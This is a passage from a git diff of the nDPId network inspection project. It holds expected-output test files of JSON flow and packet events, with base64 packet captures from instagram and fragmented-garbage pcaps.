sHtywpKOfZDgqmkvX4QKV6QGp5nslDmh123HxDx5t89fHszJI86qvB6tuk4obJB+YMn4SEIUEBVEznYvU6GaHGGPYnIyy+eQ4HP+oc9OPc5ZA2yLvgLT2xFj\/7tPxe9bJLW74\/kN1Z5txcDAxAR4x7Hzo3PTlRc6+sJAEEwDIIqe+wwy5qrCOXlMZXnWQnQX1Qxdk6bjnE="} +00546{"flow_id":38,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2243,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":178757,"pkt_caplen":150,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":150,"pkt_l4_len":116,"pkt":"xiwDYGpkxGGLNYKpCABFAACIAABAAEAGAnbAqAIRHw1WNMDRAbs6ijK9gLM7PoAYCAhLaAAAAQEICg1wnrpsGJ0gFwMDABV7fJ+fbDbsTl7xaLaB11VBQYy\/b+oXAwMANTIduwAU3+2QzfaqxE+E\/YGcP8wrLEs2Pm3lxeSDLQh9ENxS5FM06OuWTbLdZrAcmNN6EeQ4"} +00673{"flow_id":38,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2257,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":190506,"pkt_caplen":244,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":244,"pkt_l4_len":210,"pkt":"xGGLNYKpxiwDYGpkCABFAADmsocAAFQGe5AfDVY0wKgCEQG7wNGAszs+OoozEYAYAHUiHQAAAQEICmwYnS4NcJ66FwMDAK2KZJMUjgrP69pD6VebKKOMCMb8f5CO9XpCeYdw+q85oaw8Gmidz315RI1z1aEF+PzZTig3y5eAZkfkt66OhZShdjKvKTzx3BVNIVJDEVjjK8BmpG3F8QDcgZeTpDQW2zJQEy3p3Z5KrTceyGN9bLCetFXPnAxg\/AacSKsz71NEoHIGw4s6h8+U3RifMayXByFeJarm2nF5ilEOVsNDittG7wnu9f15PvQcuh8+VA=="} +00429{"flow_id":38,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2276,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":194890,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAsrAqAIRHw1WNMDRAbs6ijMRgLM78IAQCAaUcgAAAQEICg1wnsdsGJ0u"} +01481{"flow_id":38,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2787,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":322176,"pkt_caplen":840,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":840,"pkt_l4_len":806,"pkt":"xGGLNYKpxiwDYGpkCABFAAM6sogAAFQGeTsfDVY0wKgCEQG7wNGAszvwOoozEYAYAHXMHQAAAQEICmwYnbINcJ7HFwMDAwH4IYO\/bnnJPpH2DUUq24IcQv54cTP9ANeHQki28uc11Zu8OsVJG6uckSDRqBAgjrXAsFeNh+Hv6q6qBibXcpxbHPtoMJsq1oRmb215W6vtqN+YTG40\/ynzRKu85d8till4rarc9YXOmpU1KG5EBWACHnEUweSzUmZkGh18FWlI9s8VRe4GjaTavryYOpvi4f\/+l06O7cDmQus+nkfJO4FQRW6BYPehnbLtz9U7ONeMP4fKM48X8FXls0g6mB5ZNfCJv01BDdKkDY6HBVwxmV79Tb\/H5Tdd8KcftJrWYxhDlgNLbhwY0QubVBbrSa0gXnPH11GYGFJHNEKVIReo0\/xndiA7tum04CK0itI5icJi1VvmrIcD7RrGinsZY8eHcqss5hXJ\/UvNwpzQaqfbJVtYkGphDfyR9\/zPKqCqENMBHQwHYWdwCxW4tDOPtahcfEE1FrcCDMLphxX3HLH6wdcLRmIUGlpz9NmV9VS6v+97qt\/Hb9fCN6HYzQnwrcy66pdRLsgWXNLTPNsjso9WcGNNcQ+8dXBT0fZtBgBE+5nJyZcIh0UzQ8AcGGl8kslDuuUPZBxg35luxbTCvrc8e7iau8z6bstz508MpVXRcZwI494X6uiOToSH6GrJSisd5MNSv5KSGbCRlpLCYEucEG5VpxzmIitJ1Jf8EDSVwy\/3J7TX1zjsb1Ue3aZ206N4zZGKiDVdfaGp4\/wHZRYF0nnEaY5uM6EQ4Zzx1JiNd28m5diz3P0+P6A4heeZ42NY37OLTJq\/ZvnsTZgeE4euBKzE30x8SOSrGYQSj2kUev0T3C+NBnFwvL4huBLq4W5I\/uASFVHeBzURQOYXDz4yDBG0aRL+36d6h5qovqzAyE6Kmb+lvblKXtkJFS61xhIkunE1dL3SFrz55nJd7t\/Sz2pszmcydnp5MyXLYST5RDDWk\/c50pB\/Yqr0vT1PV2B0sjQdp\/rNvTxQ\/NzEaC4OoeYQROBYHEFqAasbYpu5I0TTuCbJws4VIbnd8XVToLncEhYo"} +00461{"flow_id":38,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2788,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":322186,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"xGGLNYKpxiwDYGpkCABFAABLsokAAFQGfCkfDVY0wKgCEQG7wNGAsz72OoozEYAQAHXKpwAAAQEICmwYnbINcJ7HFwMDABJgUObMp8Yh43VpzLWrtvs+vcU="} +02312{"flow_id":38,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2789,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":323062,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"xGGLNYKpxiwDYGpkCABFAAWgsooAAFQGdtMfDVY0wKgCEQG7wNGAsz8NOoozEYAQAHW\/AwAAAQEICmwYnbINcJ7HFwMDBe2fuVF69OnvL+7P6xeUZG8KfIdGISriqfPejAtsrrSyGYAC6x0\/+7AbN+P8YnMWW6CDlHjG66lfeP42+RUSTfASQSqypWeLVlORWb79sRKDmwZhV6g5kOE5w7\/pHKNDHR99kVf3FYZzzgk5qxjpsTC2KgyeyXH9LQZoLmBnr4b3YC52p4KGXyCPV\/lCQHXJxEbYhJLN8DmSxOlTvCGvWRT\/Jq61slV+D\/bey\/H\/v5nBoJ5AARuAjzkg44tySQ1XNvUBJcL85Y4qz79nhrLc2l2VSZSdpD2j9YG\/9uxThvE7O9aEZzulHwRgggXtp4B6IO8AhEmtKUHqrz9YvZF3q4MRKwvN3yZObLbXln0IBjXzWzei1AFo8jafHnKRrtUl6jMCnWCt\/WIImUGxXsfT9IFaJfn8TV3ZVc8IH8pqv2cSn\/Cqvisvot04ybKT4A9383Gjtw2FLMcgdV5hW4AwE4\/NE+2eWD4u385bxkHF3lP5h6hyQdy9iVO8vEaHIyIXTJwLh7WP5S1baTvWdpXE8tJD1+tR+Bj6KtV+GMb0U4rAEDwUL5tESThIWX0+HZmRIhjOlLGqUtGKBYg\/H6lIuAYsOIMtOjzBDtc11R9rg2fHFILECq3RMn3zR9RKUAop5WXUwbJaO9HlEMqbSLQA82+RC13J6TDwmD1TUSgjlx84SdbyIiqrLKAOJeOp0igi20nXOqbC0NVT04xp50pHYtcDgZWf\/jRxYk0UctNP7uPo6APIyZRmuI8kT7kscW90h2XxB8Fjg2aGyf4mNWmD\/ZSlOMBCxj9OQEoOBTfkDH9oOjw24gkiUjASuCD5poPvSRUnWr0adFS1BdAmtRpwKpffyziTsyOajQMT1FFSn4LBjxD\/SbxHYyLj8VwwiaV3+HBxL9GqPMsPa9iU5RNggzTWYn+0K3HWpRqnWLR+fjXpzb6fW1jWF2UvOuGaVpb6MeDZv5q3qTne+rXd5kABZG23quMWNl8r45ecmjXG1WRUc45Pive8v3yuoJ6\/bt8Xe28g5WvAY8In4SLj+cmDPkXXSAzvr2tmZ2XVIvY8fPjzKJTLsspkgD4AcdQf9kDka+q\/hHEKKcplBoVe3A5qB5PzZbq2OX2D19RgjIMwShzm85IjuR6bLk9rgYBsxM8xhSgmPrpU\/UZepmoLLfUZwgx6yaV2OUDddq6a9npr2exIHpCocATVOpq2\/QCVRTuFfvGK+OPEHd1U0t46YhFqwW3Py2t45mq+L31nfvqoJvZKlVIjPJdLGuZkzrPPUusdYT+uDtAtjLqBHgAxCE4kqU39GMFCy4YTlHUrQJ8adU2LFOqumui4ry8r83G8oGKQg8IbCGxy5JJiHk6bWZJ8ipgLbJXKDoYgnbQX2kNZOt5HZFoEH+5jIlvpqfvqY3vpJBpyrGNUfeDSmnbLUbjAIZsh0ScSALxOl5loLGZ5TbZDnbKA5Vkak54gIiohpCpy6itmcR6esIfTPw\/SccTY9fB1Pe3OHQ2q5EQehAkVrIkDzp\/ApxHtUgNwCHalLszkTkPxQQl+AXreA\/IULTlygORuxIKXta77VClV7LbrqdAmC+K+8CiwLKrT1KcACuDL\/Jnhfn8L2+foxiDOXHEQBMcKKfaZ4QRBUf7csyvL09SuibgPklafIPLJf5KCLNyy4ir2vyR49icAlNuMA\/4BLAJzY2XCDuYZOIJFDz1Lkt8vbiXkn4XYysnhUnPsj3JtOxlwOaEHFvJDnfv7dMLZ089SnaJueBZZlxi4mbLqMQbWqf08oMhWFPStVsGMNWX2nRmDofAhKsEe8okDpLgY3axsYOEhsrSFlvhHxt1GEvGvqQHw6vLJ8HA="} diff --git a/test/results/ip_fragmented_garbage.pcap.out b/test/results/ip_fragmented_garbage.pcap.out new file mode 100644 index 000000000..8f0c7977c --- /dev/null +++ b/test/results/ip_fragmented_garbage.pcap.out @@ -0,0 +1,18154 @@ +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1534244024697,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":24102,"dst_port":10792,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00420{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697756,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAl4mKigpKComXiUkI0AjJCUpOAAA"} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697792,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697801,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697809,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697817,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697824,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697832,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697843,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697880,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697888,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":10,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697895,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":11,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697903,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":12,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":13,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":13,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697920,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":14,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":15,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":15,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":16,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697935,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":16,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":17,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697943,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":17,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":18,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697960,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":18,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":19,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":697972,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":19,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":20,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698016,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":20,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":21,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":21,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":22,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698032,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":22,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":23,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698039,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":23,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":24,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698046,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":24,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":25,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698053,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":25,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":26,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":26,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":27,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698068,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":27,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 